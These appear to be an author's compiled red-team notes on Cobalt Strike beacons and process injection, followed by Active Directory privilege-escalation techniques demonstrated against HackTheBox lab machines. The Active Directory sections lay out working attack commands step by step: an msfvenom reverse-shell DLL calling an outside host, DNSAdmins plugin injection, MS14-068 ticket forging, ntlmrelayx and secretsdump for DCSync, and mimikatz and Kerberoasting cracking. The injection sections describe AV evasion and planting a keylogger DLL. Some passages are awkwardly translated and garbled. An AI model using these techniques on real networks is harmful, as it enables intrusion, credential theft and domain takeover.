Red Teaming
Red teaming methodologies, tools, and techniques
- Introduction to Cobalt Strike
- Cobalt Strike Process Injection
- Domain Control Elevation
- Defenses Evasion (The Quick'n Dirty)
- The RC4 encryption
- Windows thread control
- Direct system call injection process to avoid anti-kill
- How to Hide Your CobaltStrike
Introduction to Cobalt Strike
0x01 What is Cobalt Strike
"Cobalt Strike is software for Adversary Simulations and Red Team Operation"
Cobalt Strike is a powerful platform for conducting offensive cyber operations. It contains a wide variety of tools for conducting spear phishing and web drive-by attacks to gain initial access. Through the artefact kit, Cobalt Strike also has a flexible obfuscation framework. However, it is in the arena of post-exploitation that Cobalt Strike really shines. It has a custom implant, called Beacon, which can handle command and control (C2) communications via HTTP(S), DNS and even SMB named pipes. Beacon has numerous options for lateral movement, e.g., WMI and psexec as well as the ability to load PowerShell and .Net assemblies for additional modules such as mimikatz.
If you haven’t used Cobalt Strike before, Im going to presume that you haven't go a full licensed copy. A trial copy can be requested at the following URL: https://trial.cobaltstrike.com/
. Installation and setup can be found here: https://www.cobaltstrike.com/support
Once you have your trial copy downloaded and pre-requisites installed you can begin.
0x02 Basics and Terminology
Cobalt Strike comes in a package that consists of a client
and server
files. The server is refereed to as the team server
. The following are the files that you’ll get once you download the package.
Cobalt Strike works on a client-server model in which the red-teamer connects to the team server via the Cobalt Strike client. All the connections (bind/reverse) to/from the victims are managed by the team server.
What is the team server?
- It is the controller for the Beacon payloads
- It is the host for Cobalt Strikes social engineering features
- The team server manages data collected by Cobalt Strike and manages logging
- It collects all the credentials that are discovered in the post-exploitation phase or used by the attacker on the target systems to log in.
It is a simple bash script that calls for the Metasploit RPC service (msfrpcd) and starts the server with cobaltstrike.jar. This script can be customized according to the needs of the individual.
Note: It should be said that when starting your team server you can specify a kill date in (YYYY-MM-DD) in doing this the team server will embed this kill date into each Beacon stage it generates. This is useful as it prevents you from having to inform a client that they have to go around their system deleting sleeping Cobalt Strike beacons.
What is a Beacon?
A Beacon is a malicious agent / implant on a compromised system that calls back to the attacker controlled system and checks for any new commands that should be executed on the compromised system.
You essentially control your target’s network with Cobalt Strike’s Beacon's.
Beacon can walk through common proxy configurations and calls home to multiple hosts to resist blocking. You can also reprogram Beacon's to use targets network indicators to blend in within existing network traffic.
What is a Listener?
Listeners are services running on the attackers C2 server that is listening for beacon callbacks. That are essentially configured information for a payload and a directive for Cobalt Strike to stand up a server to receive connections from that payload.
They consist of a user-defined name, the type of payload, and several payload-specific options.
0x03 Getting Started
Starting the team server:
To start the team server you need two arguments. The first is the host (your IP or a IP that is reachable from the internet) note that if you are behind a home router you can port forward the listeners port on the router itself. The second is the password which will be used by the team server for authentication.
Now we can go ahead and start the Cobalt Strike client.
- The host is the team server IP or DNS name
- The user is anything you like
- The password is the password of the team server
Once you hit connect you will be greeted with the user interface of Cobalt Strike.
The Virtualization zone is where the sessions and targets are displayed. It helps to better understand the network of a compromised host. The Display tabs is where you'll manage Cobalt Strike features and sessions for interaction.
Below is an image which gives us a quick breakdown of the toolbar icons:
So lets setup a listener by first clicking on the headphone icon which will spawn a tab in the Display Tab portion of the user interface. Then click Add to add a new listener. You can name your listener whatever you want. Configurations as seen below:
Now with out new listener created and listening for a beacon callback we will go ahead and generate a stageless payload (remember payloads are called beacons). Follow the numbered steps as illustrated below.
Then click generate, and if everything goes well you'll get a pop-up that the beacon has been successfully created.
Now all that is left to do is to generate the previously generated bacon. In doing so the Cobalt Strike client which is connected to the team server will catch the beacon callback.
As you can see the beacon was uploaded to a server and ran. As a result we obtained a callback which is visually reflected in the Visualization zone of the user interface.
We can also obtain callbacks via crafted payloads by going to Attacks -> Packages -> Payload Generator, then selecting the listener and Generating the payload. This will create a default file entitled payload.txt.
And once ran on the target, as shown in the image below we obtain a second "session" on the target. This method is useful when trying to bypass AV with properly obfuscated shells.
Now to interact with the beacon, right click the beacon and select interact. Note that the new tab opening in the Display zone will appear. This is what allows us, the attacker to issue commands to the beacon. (These are only extremely basic)
# List the file on the specified directory
beacon > ls <C:\Path>
# Change into the specified working directory
beacon > cd [directory]
# Delete a file\folder
beacon > rm [file\folder]
# File copy
beacon > cp [src] [dest]
# Download a file from the path on the Beacon host
beacon > download [C:\filePath]
# Lists downloads in progress
beacon > downloads
# Cancel a download currently in progress
beacon > cancel [*file*]
# Upload a file from the attacker to the current Beacon host
beacon > upload [/path/to/file]
shell dir
This will spawn a cmd.exe process, execute the command, and relay the output back to you. If you’d like to change the directory, don’t use shell cd. This will change the directory in the cmd.exe that gets spawned.
Now really the possibilities are endless... we can start doing local privilege escalation:
powershell Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin : 5 ---> This option prompts the Consent Admin to enter his or her user name and password (or another valid admin) when an operation requires elevation of privilege. This operation occurs on the secure desktop.
ConsentPromptBehaviorUser : 3 ---> This option SHOULD be set to ensure that a standard user that needs to perform an operation that requires elevation of privilege will be prompted for an administrative user name and password. If the user enters valid credentials, the operation will continue with the applicable privilege.
EnableLUA : 1 ---> This policy enables the "administrator in Admin Approval Mode" user type while also enabling all other User Account Control (UAC) policies.
PromptOnSecureDesktop : 1 ---> This policy will force all UAC prompts to happen on the user's secure desktop.
At this point really you should go ahead and import PowerView into the CobaltStrike beacon and run Add-DomainObjectAcl for all rights on xxx.local. Maybe even do some powershell Invoke-UserHunter
get a user then make_token
and then go for some sexy krbtgt
to get DA.
This is all for now. In other page we'll go more in depth, looking at modules creating malleable c2's, custom payloads, Metasploit compatibility, more Beacons such as SMB, and so on...
Stay Tuned!
References:
By Boschko
- My Hack The Box: https://www.hackthebox.eu/home/users/profile/37879
- My Website: https://olivierlaflamme.github.io/
- My GitHub: https://github.com/OlivierLaflamme
- My WeChat QR below:

Cobalt Strike Process Injection
0x01 Intro
Here are my thoughts on process injection and share some technical details about Cobalt Strike's process injection, as well as some of the red team attack techniques you may want to know.
0x02 Injection Function
Cobalt Strike currently provides process injection functions in some scenarios. The most common is to directly inject payload into a new process. This function can be executed through various sessions that you have obtained, such as Artifact Kit , Applet Kit and Resource Kit . This article will focus on Cobalt Strike's process injection in Beacon sessions.
The shinject
command injects code into any remote process, some built-in post-exploitation modules can also be injected to a particular remote process through the tool. Cobalt Strike did this because injecting shellocde into a new session would be safer than migrating the session directly to another C2.
(Probably the reason is that if the new session is not pulled up, it will be embarrassing if the original session has dropped.)
Therefore, Cobalt Strike post-exploitation will start a temporary process when it is executed, and inject the DLL file corresponding to the payload into the process, and confirm the result of the injection by retrieving the named pipe. Of course, this is just a special case of process injection. In this way, we can safely operate the main thread of these temporary processes without worrying about operation errors that cause the program to crash and result in loss of permissions. This is a very important detail to understand when learning to use Cobalt Strike injection process.
The first parameter of the inject command mentioned in the original text is the PID of the target program to be injected, and the second parameter is the architecture of the target program. If not filled, the default is x86.
inject 5732 x64
The parameter writing method of shinject
is the same as that of inject. If the third parameter is not written, you will be prompted to select a shellcode file. Pay attention to the bin format payload that needs to be generated.
shinject 5732 x64 /xxx.bin
In addition to the two beacon commands mentioned in the original text, in fact, there is also a shspawn
. Its role is to start a process and inject shellcode into it. The parameters only need to select the program architecture.
shspawn x64 /xxx.bin
As shown in the figure, the payload is injected into the rundll32.exe program. This method is much more stable than the first two, and you are not afraid of crashing the program.
0x03 injection process
The process-inject
block in Cobalt Strike's Malleable C2 configuration file is where the configuration process is injected:
process-inject {
# set remote memory allocation technique
set allocator "NtMapViewOfSection";
# shape the content and properties of what we will inject
set min_alloc "16384";
set userwx "false";
transform-x86 {
prepend "\x90";
}
transform-x64 {
prepend "\x90";
}
# specify how we execute code in the remote process
execute {
CreateThread "ntdll!RtlUserThreadStart";
CreateThread;
NtQueueApcThread-s;
CreateRemoteThread;
RtlCreateUserThread;
}
}
The execution flow of this code is roughly as follows:
- Open the handle of the remote process.
- Allocate memory in remote processes.
- Copy the shellcode to the remote process.
- Execute shellcode in the remote process.
Step 1: Distribute and copy data to the remote host
The first step exists but daily development does not pay much attention. If we start a temporary process (such as a call post-exploitation); that is, we already have a handle to the remote process, at this time if we want to inject the code into the existing remote process ... [manual dog head], Cobalt Strike will use OpenProcess to solve this problem.
Step 2-3
Cobalt Strike provides two options for allocating memory and copying data into remote processes.
The first solution is the classic- VirtualAllocEx> WriteProcessMemorypattern
, which is very common in attack tools. It is worth mentioning that this solution is also applicable to different process architectures, and the application of process injection is not limited to the injection of x64 target processes. This means that a good solution needs to take into account the different extreme situations that occur (for example, x86-> x64, or x64-> x86, etc.). This makes it VirtualAllocEx
a relatively reliable choice, and Cobalt Strike's default solution is also his. If you want to directly specify this mode, you can set process-inject
the -> allocator
option VirtualAllocEx
to.
The second solution provided by Cobalt Strike is CreateFileMapping
-> MapViewOfFile
-> NtMapViewOfSection
mode. This solution will first create a mapping file that supports the Windows system, and then map the view of the mapping file to the current process. Then Cobalt Strike will copy the injected data to the memory associated with the view and NtMapViewOfSection
call our remote process. The same mapping file available in. To use this scheme process-inject
-> allocator
set NtMapViewOfSection
to the disadvantage of this scheme is only for x86
-> x86
and x64
-> x64
, related to the cross-architecture injection when Cobalt Strike will automatically switch back to VirtualAllocEx
mode.
When VirtualAllocEx
> WriteProcessMemory
mode injection is subject to anti-soft defense? It is also a good choice to try this scheme instead. (It is very useful when killing software without detecting other methods of copying data to a remote process.)
Data conversion
The steps 2 and 3 mentioned above assume that everything is normal and the original data is copied to the injected data, which is almost impossible in the real environment. To this end, Cobalt Strike's process-inject adds the function of transforming and injecting data. The min_alloc
option is the minimum size of the block that Beacon will allocate in the remote process, startrwx
and the userwx
option is the initial Boolean value of the allocated memory and the final permission of the allocated memory. If you want to prohibit data from being readable, writable, and executable (RWX
), please set these values to false
. transform-x86
and those that transform-x64
support converting data to another architecture. If you need to add data in advance, make sure it is executable code for the corresponding architecture.
Note, many content signatures look for specific bytes at a fixed offset at the beginning of the observable boundary. These checks occur in O (1) time, which is conducive to O (n) search. Excessive Inspection and security technology may consume a lot of memory, and performance will be reduced accordingly.
Binary padding also affects post-exploitation
the thread start address offset in Cobalt Strike. When Beacon injects a DLL into memory; its ReflectiveLoader
starts the thread at the position where the function exported by the DLL should be. This offset is shown in the thread start address feature, and is looking for a specific post-exploitation DLL of potential indicators. The data before injection into the DLL will affect this offset. (It ’s okay not to know about thread related things, I will talk about it next ...)
Step 4: code execution
Let's take a look at the subtle differences between different execution methods in Beacon:
CreateThread
CreateThread
from the beginning. I think that CreateThread
if it exists, should first appear in an execution block, this function only runs when it is limited to self-injection. Using CreateThread
will start a thread pointing to the code you want your Beacon to run. But be careful, when you self-inject in this way, the thread you pull will have a starting address, which is not related to the module (by module I mean DLL / current program itself) loaded into the current process space. For this you can specify CreateThread“module!somefunction + 0x ##”
. This variant will generate a suspended thread that points to the specified function, if the specified function cannot be GetProcAddressobtained
this is because Beacon will use to SetThreadContextupdate
and will use this new thread to run the injected code, which is also a self-injection method that can provide you with a more favorable foothold.
SetThreadContext
Next is SetThreadContext
, which is used in post-exploitation. One of the main thread method interim process tasks generated. The Beacon is SetThreadContext
suitable for x86 -> x86, x64 -> x64 and x64-> x86. If you choose to use it SetThreadContext
, place it in CreateThread
after the option in the execution block. SetThreadContext
when used; your thread will have a starting address that reflects the original execution entry point of the temporary process which is very nice.
NtQueueApcThread-s
Another way to suspend a process is to use it NtQueueApcThread-s
. This method uses NtQueueApcThread
which is a one-time function to queue up when the target thread wakes up next time. In this case, the target thread is the main thread of the temporary process. The next step is to call ResumeThread
, this function wakes up the main thread of our suspended process, because the process has been suspended at this time, we do not have to worry about returning this main thread to the process. This method only applies to x86 -> x86 and x64 -> x64.
Determining wheather to use SetThreadContext
or NtQueueApcThread-s
depends on you. In most cases I think the latter is obviously more convenient.
NtQueueApcThread
Another approach is through NtQueueApcThread
it is like NtQueueApcThread-sun
but it targets existing remote processes. This method needs to push the RWX stub to the remote process. This stub contains the code related to the injection. To execute the stub, you need to add the stub to the APC queue of each thread in the remote process. The stub code will be executed.
So what is the role of stubs?
First, the stub checks whether it is already running, and if it is, it executes nothing, preventing the injected code from running multiple times.
Then the stub will be called with the code and its parameters we injected CreateThread
. This is done to let APC return quickly and let the original thread continue to work.
No thread will wake up and execute our stub. Beacon will wait about 200ms to start and check the stub to determine whether the code is still running. If not, update the stub and mark the injection as already running, and continue to the next item. This It is NtQueueApcThread
the implementation details of the technology.
At present, I have used this method a few times, because some security products have very little attention to this incident. In other words, OPSEC has paid attention to it, and it is indeed a memory indicator that promotes RWX stubs. It will also call the code of the remote process that we push CreateThread
. The starting address of the thread does not support the module on the disk. Use Get-InjectedThread
scan not effectively. If you think this injection method is valuable, please continue to use it. Pay attention to weighing its pros and cons. It is worth mentioning that this method is limited to x86 -> x86 and x64 -> x64.
CreateRemoteThread
Another way is via CreateRemoteThread
which can be used literally as a remote injection technology. Starting with Windows Vista, injecting code across session boundaries will fail. In Cobalt Strike, vanilla CreateRemoteThreadcovers
x86 -> x86, x64 -> x64 and x64 -> x86. The movement of this technology is also obvious. When this method is used to create a thread in another process, it will trigger event 8 of the system monitoring tool Sysmon. Such, Beacon has indeed implemented a CreateRemoteThread
variant that “module!function + 0x ##”
accepts a pseudo start address in the form CreateThreadSimilarly, Beacon will create its thread in the suspended state and use SetThreadContext / ResumeThread
enable to execute our code. This variant is limited to x86 -> x86 and x64 -> x64. If the GetProcAddress
specified function cannot be used, this variant will also fail.
RtlCreateUserThread
The last way Cobalt Strike executes blocks is RtlCreateUserThread
. This way CreateRemoteThread
functions is very enjoyable but has some limitations, it is not perfect and has flaws.
RtlCreateUserThread
code will be injected across the session boundary. It is said that there will be many problems during the injection on Windows XP. This method will also trigger event 8 of the system monitoring tool Sysmon. One benefit is that it covers x86-> x86, x64-> x64, x64-> x86, and x86-> x64, the last case is very important.
x86-> x64 injection are in x86 Beacon session carried out. And for your post-exploitation generation process x64 tasks, hashdump
, mimikatz
, execute-assembly
and powerpick
modules are silent as x64. In order to achieve x86-> x64 injection, this method converts the x86 process to x64 mode and injects RWX stubs to facilitate calling from x64 RtlCreateUserThread
. This technique comes from Meterpreter. RWX stubs are a pretty good memory indicator. I have long suggested: "Let the process stay in x64 mode as much as possible", the above situation is why I would say this, and it is also recommended to put one in all. So process-inject
is the lowest way to have it, you can use it when there is no other work execute blockRtlCreateUserThread
0x04 How to live without process injection
When I was thinking about how to use these attack techniques flexibly, I was also thinking what to do if none of these methods work?
Process injection is a technique to transfer payload / capability to migrate
to different processes (such as from desktop session 0 to desktop session 1), you can use the runu command to transfer to different processes without process injection, and you can specify the bot program as you To run child processes of any process. This is a way to introduce a session to another desktop session without process injection.
Process injection is also one of the methods to execute code without landing files on the target. Many post-exploitation functions in Cobalt Strike can choose to attack specific processes. Specifying the current Beacon process can use them without remote injection. This is self-injection.
Of course, it is not perfect to execute code without a file on the ground. Sometimes it is best to put something on the disk. I have successfully compiled the keylogger tool into a DLL and put c:\windows\linkinfo.dllit
into the explorer.exeprocess
and loaded it into the process... We open sharing on the same system to share regularly captured key records, which helps me and my colleagues to operate under a highly censored situation. In this case, it is difficult to let the payload survive in the memory for a long time.
References:
- https://blog.cobaltstrike.com/2019/08/21/cobalt-strikes-process-injection-the-details/
- https://blog.cobaltstrike.com/2016/11/03/agentless-post-exploitation/
- https://blog.cobaltstrike.com/2018/04/23/fighting-the-toolset/
- https://www.cobaltstrike.com/help-resource-kit
- https://www.cobaltstrike.com/help-artifact-kit
- https://www.youtube.com/watch?v=QvQerXsPSvc
By Boschko
- My Hack The Box: https://www.hackthebox.eu/home/users/profile/37879
- My Website: https://olivierlaflamme.github.io/
- My GitHub: https://github.com/OlivierLaflamme
- My WeChat QR below:

Domain Control Elevation
0x01 Preface
Just a collection of personal notes covering the following:
- Password in GPP and SYSVOL
- MS14-068
- DNSAdmins
- Insecure GPO permissions
- Insecure ACLs permissions
- Exchange
- LLMNR/NBT-NS poisoning
- Kerberoasting
- AD recycle Bin
0x02 GPP and SYSVOL
What is GPP: GPP is used to apply the common local administrator password to all workstations, apply a brand new administrator account, schedule tasks for other users, apply printers, etc. Generally, there are many machines in the domain. For the convenience of management, administrators, there set the local administrator password GPP on the host.
After configuring this feature, an XML file is created on the domain controller that contains the information needed to configure the account when applying the policy to workstations or laptops connected to the domain. The xml file contains the password of the management account, in general, any domain user can read it (usually DC opens the SYSVOL directory sharing) One thing I have to mention here is that Microsoft has used AES to encrypt the password in the xml file to improve security. But released the key used to encrypt and decrypt the value (so what is this operation??)
Vulnerability exploitation:
Received the default SYSVOL share of the domain controller and searched for instances of groups.xml in it. If these files exist, they are located in a folder with a format similar to the following:
\\active.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
0x02.1 Positioning the DC
set l
nltest /DSGETDC:
echo %logonserver%
net time /domain
......
0x02.2 Query DC's shared directory
Use enum4linux or smbmap to check the shared directory smbmap -H 10.10.10.100
to list the target user share list.
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ NO ACCESS
NETLOGON NO ACCESS
Replication READ ONLY
SYSVOL NO ACCESS
Users NO ACCESS
0x02.3 Connection domain sharing
smbclient //active.local/Replication -N
smb: \active.local\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups> more Groups.xml
<?xml version="1.0" encoding="utf-8"?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User
clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.local\SVC_TGS" image="2" changed="2018-07-18 20:46:06"
uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description=""
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0"
noChange="1" neverExpires="1" acctDisabled="0" userName="active.local\SVC_TGS"></Properties></User>
0x02.4 decrypt using gpprefdecrypt.py
python gpprefdecrypt.py edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
0x03 MS14-068
Hazard: Users in any domain can be elevated to domain control
Generally, it is a local account to succeed, but using klist purge to clear the cache certificate can bypass the limitation
0x03.1 cause of vulnerability
When KDC verifies the PAC, according to the agreement, it must be a signature algorithm with server Hash and KDC Hash (the original design is the checksum algorithm of the HMAC series), but Microsoft implements but allows any signature algorithm. As long as the client specifies any signature algorithm, the KDC will use the specified algorithm for signature verification, resulting in a malicious user in the TG_REQ sent to the KDC can create a fake PAC containing the membership of the administrator account to be received by the KDC and put it into In the new TGT ticket issued in TG_REP. The ticket can be used to request the service upgrade privilege of the service ticket from the KDC: in this case, it is the smb service ticket.
What is PAC (privileged account certificate): PAC contains the authorization data provided by the domain controller (DC), and Active Directory stores the authorization data in the ticket field of PAC (privileged account certificate).
The PAC is provided by the DC in the field authorization data of the service ticket. It is signed with the KDC key (only AD knows) and the service key shared between the service to be verified and AD.
0x03.2 utilization conditions
1. The domain control machine has not been patched with the vulnerability patch number: KB3011780
2. Owns a domain machine and its sid
0x03.3 Vulnerability exploitation & vulnerability detection
FindSMB2UpTime.py (but this is not necessarily accurate, because the domain controller is generally not restarted, but there are also unexpected restarts, so even if ms14-068 is not displayed)
./FindSMB2UPTime.py 192.168.31.220
DC is up since: 2013-12-28 22:24:25This DC is vulnerable to MS14-068
Get the domain controller patch status: Get-DCPatchStatus.ps1
# This is an example script only.
import-module activedirectory
[string]$KBNumber = "KB3011780"
$DomainControllers = Get-ADDomainController -filter *
[int]$DomainControllersCount = $DomainControllers.Count
[int]$PatchedDCCount = 0
[int]$UnPatchedDCCount = 0
$UnpatchedDCs = @()
Write-Output "Scanning $DomainControllersCount Domain Controllers for patch $KBNumber"
ForEach ($DomainController in $DomainControllers)
{
$DomainControllerHostName = $DomainController.HostName
$PatchStatus = Get-HotFix -ID $KBNumber -ComputerName $DomainController.HostName -ErrorAction SilentlyContinue
IF ($PatchStatus.InstalledOn)
{
$PatchStatusInstalledOn = $PatchStatus.InstalledOn
Write-Output "$DomainControllerHostName patched on $PatchStatusInstalledOn"
$PatchedDCCount++
}
Else
{
Write-Warning "$DomainControllerHostName is NOT patched for $KBNumber (or could not be contacted)"
[array]$UnpatchedDCs += $DomainController.HostName
$UnPatchedDCCount++
}
}
Write-Output "Out of $DomainControllersCount DCs, Patched: $PatchedDCCount & UnPatched: $UnPatchedDCCount "
IF ($UnpatchedDCs)
{
Write-Output "The following DCs are NOT patched for $KBNumber"
$UnpatchedDCs
}
0x03.4 environment description
Target machine: 10.10.10.52 Windows Server 2008 R2 Standard We have obtained:
a common local account on the DC
james user account password
james sid (you can obtain rpclient through multiple ways: lookupnames james in the target machine shell: whoami /all)
attack machine : Kali 10.10.14.14 (not in the domain)
Use on Linux: (with user credentials and no target shell)
1. Install the client and generate a ticket on the client
sudo apt-get install krb5-user cifs-utils rdate
2. edit /etc/krb5.conf
[libdefaults]
default_realm = HTB.LOCAL
[realms]
HTB.LOCAL = {
kdc = mantis.htb.local:88
admin_server = mantis.htb.local
default_domain = HTB.LOCAL
}
[domain_realm]
.domain.internal = HTB.LOCAL
domain.internal = HTB.LOCAL
3. Add route: edit /etc/resolve.conf
nameserver 10.10.10.52
4. Synchronize the domain control time (determine the time of DC (used for ticket synchronization), which must be completed within 5 minutes according to RFC, but a deviation of +-30 minutes is also acceptable)
[Method 1] net time -S 10.10.10.52 -U“” ##Get DC time, then receive to set the local time
[Method 2] sudo rdate -n 10.10.10.52 ###Directly synchronize to the domain control time
5. Generate a new Kerberos ticket for james users
klist purge # get rid of other tickets
kinit -V james@HTB.LOCAL # kinit domain name needs to be capitalized; or directly kinit james
klist # to view loaded tickets
At this time, the ticket generated by james: access to C$ is not authorized
kali@kali:~/tools/AD_Recon/pykek$ smbclient -W HTB.LOCAL //MANTIS/c$ -k
tree connect failed: NT_STATUS_ACCESS_DENIED
6. ms14-068 generate high authority TGT ticket
7. Replace the low authority ticket mv TGT_james@HTB.LOCAL.ccache /tmp/krb5cc_1000
8. Smb successfully login C$
Then leverage mimikatz:
First use ms14-068.exe to generate a ticket on the target machine, then use mimikatz to inject the ticket, and then use psexec to obtain permissions or winexec to execute the command
ms14-068.py -u james@HTB.LOCAL -s S-1-5-21-4220043660-4019079961-2895681657-1103 -d mantis
Put the TGT_james@HTB.LOCAL.ccache file in the mimikatz directory
mimikatz.exe log "kerberos::ptc TGT_james@HTB.LOCAL.ccache"
Now you can get the domain management session, you can klist to see if there is a kerberos ticket
net use \htb.local\admin$ #### Using IP may fail
dir \htb.local\c$
psexec \htb.local cmd.exe
Break through the limitation of "local account can be exploited": first clear the cache certificate with klist purgr, and then use mimikatz to generate a high-privilege TGT cache certificate to connect:
Impacket kit utilization
There is also a more convenient method, without the various configurations above, directly use the GoldenPac under the impacket kit to send it into the soul (ms14-068+psexec)
0x04 DNSAdmins
By default, the domain controller is also a DNS server, and the Microsoft DNS server runs as a service on the domain controller. Through DNSadmins to System, you end up obtaining domain control permissions.
Conditions of use: Have user account permissions for members of the DNSAdmins group, or the current user account has write privileges to the DNS server object
whoami /groups View user groups
Make dll
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.67 LPORT=4444 --platform=windows -f dll > plugin.dll
Turn on smb sharing: (You can check whether smbserver can be connected through net use \10.10.14.67\xx. ) if smbserver can not connect, after excluding network problems, it may be a sharing problem, change the share name and restart smbserver.
sudo impacket-smbserver xx.
Inject dll
dnscmd.exe 10.10.10.169 /config /serverlevelplugindll \10.10.14.67\xx\plugin.dll
Setup listener
nc -nlvp 444
Restart dns to make paylload take effect:
sc.exe stop dns
sc.exe start dns
OR
sc.exe \\10.10.10.169 stop dns
sc.exe \\10.10.10.169 start dns
0x05 Insecure GPO Permissions
Group Policy is used to centrally manage computers in the domain. By configuring group policies, users, user groups, and computers in the domain can be managed in different dimensions, such as security configuration, registry configuration, software installation configuration, power-on and login login. Management
The GPO Group Policy object is used to store these configuration policies (GPO consists of GPC (Group Policy Container) and GPT (Group Policy Template))
OU: is "a general-purpose container that can be used to combine most other objects and classes for management purposes". Organizations often use OUs to organize entities based on department and/or geographic location
Principle and GPO enumeration is to enumerate users who have GPO modification rights (write Property)
Use the New-GPOImmediateTask
function of PowerView to use:
New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-NoP -NonI -W Hidden -Enc ‘payload’ -Force
-TaskName is a required parameter, -Command specifies the command to run (default is powershell.exe), and -CommandArguments specifies the given binary parameters.
schtask.xml will be copied to the appropriate location determined by the -GPOname or -GPODisplayname parameter.
By default, this feature will prompt you before copying, but you can use -Force to suppress it. The payload here can be used directly to delete the schtask .xml after the base64 paylaod generated by empire is executed:
New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy
0x06 Insecure ACL Permissions
Quick overview of ACLs and how to enumerate.
Can be used for privilege escalation , such as Exchange, Enterprise Key admins )
WriteDacl permissions for domain objects ===>DCSync (implemented by adding ACEs for specified users) (ACL is an ACE list)
An ACL is a set of rules that is used to define which entities have which permissions to specific AD objects. These objects can be user accounts, groups, computer accounts, the domain itself, etc., ACL is divided into SACL (System ACL) and DACL (Discretionanly ACL)
The object's ACL contains an access control entry (ACE), which defines the identity and corresponding permissions applied to the OU and/or downgraded object.
Understand the relationship between them through the following model:
Elevation of Exchange is the best example of ACL abuse, which can be further understood in conjunction with the following Exchange.
0x07 Exchange
Exchange Windows Permissions group members have WriteDacl permissions in the domain. After relaying the membership of any group with integrated WriteDacl permissions to LDAP, you can modify the ACL of the domain object to grant users a higher level of access permissions and perform DCSync.
That is, use the Exchange default high-privilege account for LDAP relay to grant users DCSync permissions
Exploit: net group view user group
Or the current user is not in the Exchange Permissions group, but in the Account Operator (members of this group can operate the accounts and groups of the domain to which the user administrator belongs and can set their permissions. However, members of this group cannot modify the Administrators and Operators groups and permissions) , You can add a user and add to Exchange Permissions to
add user boschko:
$pass = ConvertTo-SecureString "password" -AsPlainText -Force
New-ADUser boschko -AccountPassword $pass -Enabled $True
Add users to the Exchange Permissions group
net group "Exchange Windows Permissions" svc-alfresco /add
OR
Import-Module ActiveDirectory
Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members boschko
Check if it has been added successfully
net group "Exchange Windows Permissions" /domain
Use ntlmrelayx for ntlm relay:
sudo python ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user boschko
After running the relay command, you can access the local IP through a browser to connect (enter the boschko account password), or use primeexchange.py to connect (10.10.16.21 is my kali ip)
python privexchange.py -ah 10.10.16.21 10.10.10.161 -u boschko -p password -d htb.local
After the connection is successful, use secretdump.py to export the domain control hash. The time is quite long, and the prompt above needs to appear.
impacket-secretsdump htb.local/boschko:password@10.10.10.161 -just-dc
0x08 LLMNR/NBT-NS
Poisoning principle: If the DNS server fails to resolve, the system that is required to resolve uses LLMNR (UDP 5355) or NBNS (UDP 137) to broadcast questions or queries on the network segment on the Windows system. The attacker then responds, requesting the system to provide Net-NTLM hashes or clear text credentials based on the services used during the broadcast (such as FTP).
Use Responer to perform monitoring and wait for domain control to trigger a parsing error
http://www.ethicalpentest.com/2018/04/llmnr-and-nbt-ns-poisoning-attack-using-metasploit.html
0x09 Kerberoasting
The service principal name (SPN) is used to uniquely identify each instance of the Windows service. In order to support Kerberos authentication, SPN is associated with at least one service login account.
Kerberoasting utilizes that the Client uses a valid TGT to request the server's Kerberos token from TGS. TGS looks up the SPN in the KDC database and uses the service account pair associated with the SPN The ticket is encrypted and sent to the Client. However, here the TGS encryption method is RC4_HMAC_MD5, which is encrypted using the NTLM hash on the server side (making cracking possible).
At this time, the attacker borrows a valid domain user identity to request one or more SPN Kerberos tokens (encrypted TGS), and then Perform an offline crack to get the SPN account hash (this process does not even need to interact with the target SPN, that is, no detected traffic is generated, enhancing the concealment of the attack)
If HTTP is used (the default is HTTPS), it can also be captured Network traffic gets a Kerberos token, and then conducts an offline cracking attack: scanning user accounts with SPN values set in the domain. SPN account format: serviceclass/host:port/servicename
[1] Usage of setspn: official documents of setspn: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731241(v= ws.11)
setspn.exe -T test -q */* #Find all SPNs in the test domain
[2] dsquery (need to download), dsquery official document: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732952 (v=ws.11)
dsquery * "ou=domain controllers,dc=test,dc=com" -filter "(&(objectcategory=computer) (servicePrincipalName=*))" -attr distinguishedName servicePrincipalName> spns.txt
[3][powershell](https://social.technet.microsoft.com/wiki/contents/articles/18996.active-directory-powershell-script-to-list-all-spns-used.aspx "powershell")
get-aduser -filter {AdminCount -eq 1} -prop * | select name,created,passwordlastset,lastlogondate
Use SPN value to request service ticket from AD
Add-Type –AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken ArgumentList MSSQLSvc/bosch-sql02.bosch.local:1433
Return the service ticket and store it in the system's memory, you can run mimikatz directly in the current window to export the ticket in memory
Kerberos::list /export
You can also export the ticket and crack it with tgsrecrack.py There are many convenient scripts, such as GetUserSPNs.py in the imppacket suite. Kerberoast.ps1...
[1 hashcat]: hashcat -a 0 -m 13100 active.hash /usr/share/wordlists/rockyou.txt --force
[2 john] : sudo john active.hash -w "/usr/share/wordlists/rockyou.txt"
0x10 AD recycle Bin
Use the recycle bin to restore the user, or obtain the user's old password for collision
Prerequisite: The recycle bin function needs to be enabled in the domain, and the user does not enable the recycle bin in the AD Recyle Bin group and enables the recycle bin to delete objects.
The image above is a life cycle diagram of Active Directory objects deleted before the recycle bin is enabled.
